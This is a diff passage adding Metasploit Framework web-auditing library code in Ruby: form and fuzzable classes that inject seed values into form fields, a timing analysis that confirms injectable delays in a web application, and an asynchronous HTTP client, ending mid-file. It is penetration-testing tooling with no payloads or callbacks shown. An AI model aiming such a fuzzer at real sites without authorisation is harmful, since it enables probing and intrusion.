+ # :timeout - Integer amount of seconds to wait for the request to complete (default: 5)
+ # :stub - String stub to be replaced by delay * multi (default: __TIME__)
+ # :multi - Integer multiplier (stub = timeout * multi) (default: 1)
+ #
+ def timeout_analysis( opts = {} )
+ opts = TIMING_OPTIONS.merge( opts )
+
+ multi = opts[:multi]
+ stub = opts[:stub]
+
+ return if fuzzed? :type => :timing
+ fuzzed :type => :timing
+
+ permutations.each do |p|
+ timeout = opts[:delay]
+
+ seed = p.altered_value.dup
+ payload = fuzzer.payloads.select{ |pl| seed.include?( pl ) }.first
+
+ # 1st pass, make sure the webapp is responsive
+ if_responsive do
+ # 2nd pass, see if we can manipulate the response times
+ timeout += 1
+ p.altered_value = seed.gsub( stub, (timeout * multi).to_s )
+
+ p.if_unresponsive( timeout - 1 ) do
+ # 3rd pass, make sure that the previous step wasn't a fluke (like a dead web server)
+ if_responsive do
+ # 4th pass, increase the delay and timeout to make sure that we are the ones
+ # manipulating the webapp and this isn't all a coincidence
+ timeout *= 2
+ timeout += 1
+ p.altered_value = seed.gsub( stub, (timeout * multi).to_s )
+
+ p.if_unresponsive( timeout - 1 ) do
+ # log it!
+ fuzzer.process_vulnerability( p, 'Manipulatable response times.',
+ :payload => payload.gsub( stub, (timeout * multi).to_s ) )
+ end
+ end
+ end
+ end
+ end
+ end
+
+ def responsive?( timeout = 120 )
+ !submit( :timeout => timeout ).timed_out?
+ end
+
+ def responsive_async?( timeout = 120, &callback )
+ submit_async( :timeout => timeout ) { |r| callback.call !r.timed_out? }
+ end
+
+ def if_responsive( timeout = 120, &callback )
+ responsive_async?( timeout ) { |b| callback.call if b }
+ end
+
+ def if_unresponsive( timeout = 120, &callback )
+ responsive_async?( timeout ) { |b| callback.call if !b }
+ end
+
+end
+end
+end
View
245 lib/msf/core/auxiliary/web/form.rb
@@ -0,0 +1,245 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'net/https'
+require 'net/http'
+require 'uri'
+
+module Msf
+
+#
+# Represents a webpage form.
+#
+module Auxiliary::Web
+
+class Form < Fuzzable
+
+ # Method type Symbol: :get, :post
+ attr_accessor :method
+
+ # URL String to which to submit the params
+ attr_accessor :action
+
+ # Inputs Array in the form of:
+ #
+ # [{ :name => 'name', :value => 'John', :type => 'text' }]
+ #
+ attr_accessor :inputs
+
+ # Name of the altered input as a String
+ attr_accessor :altered
+
+ # Mdm::WebForm model if available
+ attr_accessor :model
+
+ #
+ # opts - Options Hash (default: {})
+ # :action - Action URL of the form
+ # :method - Form method (:get, :post)
+ # :inputs - Form inputs [{ :name => 'name', :value => 'John', :type => 'text' }]
+ #
+ def initialize( opts = {} )
+ self.action = opts[:action]
+ self.action.chop! if self.action.end_with?( '?' )
+
+ self.method = opts[:method] || :get
+ self.inputs = (opts[:inputs] || []).dup
+ end
+
+ #
+ # Set the name of the altered field (will be used as the vuln param when logging)
+ #
+ # input_name - String
+ #
+ def altered=( input_name )
+ @altered = input_name.to_s.dup
+ end
+
+ #
+ # Set the form method.
+ #
+ # input_name - String, Symbol
+ #
+ def method=( m )
+ @method = m.to_s.downcase.to_sym
+ end
+
+ #
+ # i - Array of form inputs
+ #
+ # Examples
+ #
+ # [{ :name => 'name', :value => 'John', :type => 'text' }]
+ #
+ def inputs=( i )
+ # nil it out so that it'll be updated next time it's requested
+ @params = nil
+ @inputs = i
+ end
+
+ #
+ # Hash of params to be submited (derived by #inputs)
+ #
+ # Examples
+ #
+ # { 'name' => 'John' }
+ #
+ def params
+ @params ||= inputs.reject{ |i| i[:name].to_s.empty? }.
+ inject( {} ) { |h, i| h[i[:name]] = i[:value]; h }
+ end
+
+ #
+ # Value of the {#altered} input (i.e. the injected value).
+ #
+ def altered_value
+ params[altered]
+ end
+
+ def altered_value=( value )
+ params[altered] = value.to_s.dup
+ end
+
+ #
+ # Converts a Hash of params to a query String
+ #
+ # i - Hash of params (default: #params)
+ #
+ def to_query( i = self.params )
+ i.map do |k, v|
+ Rex::Text.uri_encode( k.to_s ) + '=' + Rex::Text.uri_encode( v.to_s )
+ end.join( '&' )
+ end
+
+ #
+ # Converts a query String to a Hash of params
+ #
+ # query - String
+ #
+ def self.query_to_params( query )
+ query = query.to_s
+ return {} if query.empty?
+
+ query.split( '&' ).inject( {} ) do |h, pair|
+ k, v = pair.to_s.split( '=', 2 )
+ h[Rex::Text.uri_decode( k.to_s )] = Rex::Text.uri_decode( v.to_s )
+ h
+ end
+ end
+
+ def query_to_params( query )
+ self.class.query_to_params( query)
+ end
+
+ def request( opts = {} )
+ p = case method
+ when :get
+ query_to_params( URI( action ).query ).merge( params )
+
+ when :post
+ params
+ end
+
+ [ action, opts.merge( :method => method, :params => p ) ]
+ end
+
+ # Bool - true if params are empty, false otherwise.
+ def empty?
+ params.empty?
+ end
+
+ #
+ # Param reader shortcut -- returns the value of a param by name, as a String.
+ #
+ # field - Param name as a String
+ #
+ def []( field )
+ params[field.to_s]
+ end
+
+ #
+ # Param writer shortcut -- sets the value of a param by name, as a String.
+ #
+ # field - Param name as a String
+ # value - Param value as a String
+ #
+ def []=( field, value )
+ update( field, value )
+ [field]
+ end
+
+ #
+ # Update the form inputs.
+ #
+ # field - Field name as a Sting (updated if already exists, created otherwise).
+ # value - Field Value as a String.
+ # type - Field type ('text' if no type has been provided).
+ #
+ def update( field, value, type = nil )
+ @params = nil
+ inputs.each do |i|
+ if i[:name] == field.to_s
+ i[:value] = value.to_s
+ i[:type] = type.to_s if type
+ return self
+ end
+ end
+
+ @inputs << { :name => field.to_s, :value => value.to_s, :type => type || 'text' }
+ self
+ end
+
+ #
+ # Get a field type, by name, as a String.
+ #
+ # field - Field name as a Sting
+ #
+ def field_type_for( name )
+ inputs.select{ |i| i[:name] == name.to_s }[:type]
+ end
+
+ #
+ # Get an Array with permutations of the form for the given seed.
+ #
+ # seed - String to inject
+ #
+ def permutations
+ return [] if empty?
+
+ params.map do |name, value|
+ fuzzer.seeds_for( value || '' ).map { |seed| permutation_for( name, seed ) }
+ end.flatten.uniq
+ end
+
+ def permutation_for( field_name, field_value )
+ form = self.dup
+ form.altered = field_name.dup
+ form[field_name] = field_value.dup
+ form
+ end
+
+ def to_hash
+ { :action => action.dup, :method => method,
+ :inputs => inputs.dup, :altered => altered ? altered.dup : nil }
+ end
+
+ def self.from_model( form )
+ inputs = form.params.map do |name, value, extra|
+ extra = extra.first if extra.is_a? Array
+ extra ||= {}
+ { :name => name, :value => value, :type => extra[:type] }
+ end
+
+ e = new( :action => "#{form.path}?#{form.query}", :method => form.method,
+ :inputs => inputs )
+ e.model = form
+ e
+ end
+
+end
+end
+end
View
109 lib/msf/core/auxiliary/web/fuzzable.rb
@@ -0,0 +1,109 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'net/https'
+require 'net/http'
+require 'uri'
+
+module Msf
+
+module Auxiliary::Web
+
+class Fuzzable
+
+ # load and include all available analysis/audit techniques
+ lib = File.dirname( __FILE__ ) + '/analysis/*.rb'
+ Dir.glob( lib ).each { |f| require f }
+ Analysis.constants.each { |technique| include Analysis.const_get( technique ) }
+
+ attr_accessor :fuzzer
+
+ def fuzzed?( opts = {} )
+ fuzzer.checked? fuzz_id( opts )
+ end
+
+ def fuzzed( opts = {} )
+ fuzzer.checked fuzz_id( opts )
+ end
+
+ def fuzz_id( opts = {} )
+ "#{opts[:type]}:#{fuzzer.shortname}:#{method}:#{action}:#{params.keys.sort.to_s}:#{altered}=#{altered_value}"
+ end
+
+ def fuzz( cfuzzer = nil, &callback )
+ fuzz_wrapper( cfuzzer ) { |p| callback.call( p.submit, p ) }
+ end
+
+ def fuzz_async( cfuzzer = nil, &callback )
+ fuzz_wrapper( cfuzzer ) { |p| p.submit_async { |res| callback.call( res, p ) } }
+ end
+
+ def submit( opts = {} )
+ fuzzer.increment_request_counter
+
+ resp = http.request_async( *request( opts ) )
+ handle_response( resp )
+ resp
+ end
+
+ def submit_async( opts = {}, &callback )
+ fuzzer.increment_request_counter
+
+ http.request_async( *request( opts ) ) do |resp|
+ handle_response( resp )
+ callback.call resp if callback
+ end
+
+ nil
+ end
+
+ def http
+ fuzzer.http
+ end
+
+ def hash
+ to_hash.hash
+ end
+
+ def ==( other )
+ hash == other.hash
+ end
+
+ def dup
+ cf = self.fuzzer
+ self.fuzzer = nil
+ ce = Marshal.load( Marshal.dump( self ) )
+ self.fuzzer = ce.fuzzer = cf
+ ce
+ end
+
+ private
+ def fuzz_wrapper( cfuzzer = nil, &block )
+ self.fuzzer ||= cfuzzer
+ permutations.each do |p|
+ block.call p
+ end
+ end
+
+ def handle_response( resp )
+ str = " #{fuzzer.shortname}: #{resp.code} - #{method.to_s.upcase}" +
+ " #{action} #{params}"
+
+ case resp.code.to_i
+ when 200,404,301,302,303
+ #fuzzer.print_status str
+ when 500,503,401,403
+ fuzzer.print_good str
+ else
+ fuzzer.print_error str
+ end
+ end
+
+end
+
+end
+end
View
299 lib/msf/core/auxiliary/web/http.rb
@@ -0,0 +1,299 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'uri'
+
+module Msf
+class Auxiliary::Web::HTTP
+
+ class Request
+ attr_accessor :url
+ attr_reader :opts
+ attr_reader :callbacks
+
+ def initialize( url, opts = {}, &callback )
+ @url = url.to_s.dup
+ @opts = opts.dup
+
+ @opts[:method] ||= :get
+
+ @callbacks = [callback].compact
+ end
+
+ def method
+ opts[:method]
+ end
+
+ def handle_response( response )
+ callbacks.each { |c| c.call response }
+ end
+ end
+
+ class Response < Rex::Proto::Http::Response
+
+ def self.from_rex_response( response )
+ return empty if !response
+
+ r = new( response.code, response.message, response.proto )
+ response.instance_variables.each do |iv|
+ r.instance_variable_set( iv, response.instance_variable_get( iv ) )
+ end
+ r
+ end
+
+ def self.empty
+ new( 0, '' )
+ end
+
+ def self.timed_out
+ r = empty
+ r.timed_out
+ r
+ end
+
+ def timed_out?
+ !!@timed_out
+ end
+
+ def timed_out
+ @timed_out = true
+ end
+ end
+
+ attr_reader :opts
+ attr_reader :headers
+ attr_reader :framework
+
+ attr_accessor :redirect_limit
+
+ def initialize( opts = {} )
+ @opts = opts.dup
+
+ @framework = opts[:framework]
+
+ @headers = {
+ 'Accept' => '*/*',
+ 'Cookie' => opts[:cookie_string]
+ }.merge( opts[:headers] || {} )
+
+ @headers.delete( 'Cookie' ) if !@headers['Cookie']
+
+ @request_opts = {}
+ if opts[:auth].is_a? Hash
+ @request_opts['basic_auth'] = [ opts[:auth][:user].to_s + ':' +
+ opts[:auth][:password] ]. pack( 'm*' ).gsub( /\s+/, '' )
+ end
+
+ self.redirect_limit = opts[:redirect_limit] || 20
+
+ @queue = Queue.new
+
+ @after_run_blocks = []
+ end
+
+ def after_run( &block )
+ @after_run_blocks << block
+ end
+
+ def connect
+ c = Rex::Proto::Http::Client.new(
+ opts[:target].host,
+ opts[:target].port,
+ {},
+ opts[:target].ssl,
+ 'SSLv23'
+ )
+
+ c.set_config({
+ 'vhost' => opts[:target].vhost,
+ 'agent' => opts[:user_agent] || 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
+ })
+ c
+ end
+
+ def run
+ return if @queue.empty?
+
+ tl = []
+ loop do
+ # Spawn threads for each host
+ while tl.size <= (opts[:max_threads] || 5) && !@queue.empty? && (req = @queue.pop)
+ tl << framework.threads.spawn( "#{self.class.name} - #{req})", false, req ) do |request|
+ request.handle_response request( request.url, request.opts )
+ end
+ end
+
+ break if tl.empty?
+ tl.reject! { |t| !t.alive? }
+
+ select( nil, nil, nil, 0.05 )
+ end
+
+ call_after_run_blocks
+ end
+
+ def request( url, opts = {} )
+ rlimit = self.redirect_limit
+
+ while rlimit >= 0
+ rlimit -= 1
+ res = _request( url, opts )
+ return res if !opts[:follow_redirect] || !url = res.headers['location']
+ end
+ nil
+ end
+
+ def request_async( url, opts = {}, &callback )
+ queue Request.new( url, opts, &callback )
+ end
+
+ def get_async( url, opts = {}, &callback )
+ request_async( url, opts.merge( :method => :get ), &callback )
+ end
+
+ def post_async( url, opts = {}, &callback )
+ request_async( url, opts.merge( :method => :post ), &callback )
+ end
+
+ def get( url, opts = {} )
+ request( url, opts.merge( :method => :get ) )
+ end
+
+ def post( url, opts = {} )
+ request( url, opts.merge( :method => :post ) )
+ end
+
+ def if_not_custom_404( path, body, &callback )
+ custom_404?( path, body ) { |b| callback.call if !b }
+ end
+
+ def custom_404?( path, body, &callback )
+ return if !path || !body
+
+ precision = 2
+
+ trv_back = File.dirname( path )
+ trv_back << '/' if trv_back[-1,1] != '/'
+
+ # 404 probes